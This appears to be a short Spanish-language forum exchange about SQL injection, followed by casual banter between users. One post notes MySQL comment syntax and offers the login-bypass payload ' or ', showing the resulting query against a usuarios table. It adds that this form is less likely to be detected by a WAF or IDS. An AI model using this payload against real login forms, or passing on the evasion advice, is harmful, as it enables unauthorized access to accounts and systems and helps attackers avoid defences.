Si la BD es MySQL, el -- no funciona, se tiene que usar -- -
entonces lo mas pratico seria
' or '
que queda asi:
SELECT * FROM usuarios WHERE usuario='' or '' AND clave='' or ''
Tambien es menos probable que lo detecte un WAF/IDS.

@WHK: Gracias!
@SDC: Si, el LightOS que te vio bailar y cantar funky town por todo las vegas

Estoy disponible por si quieres una mano SDC!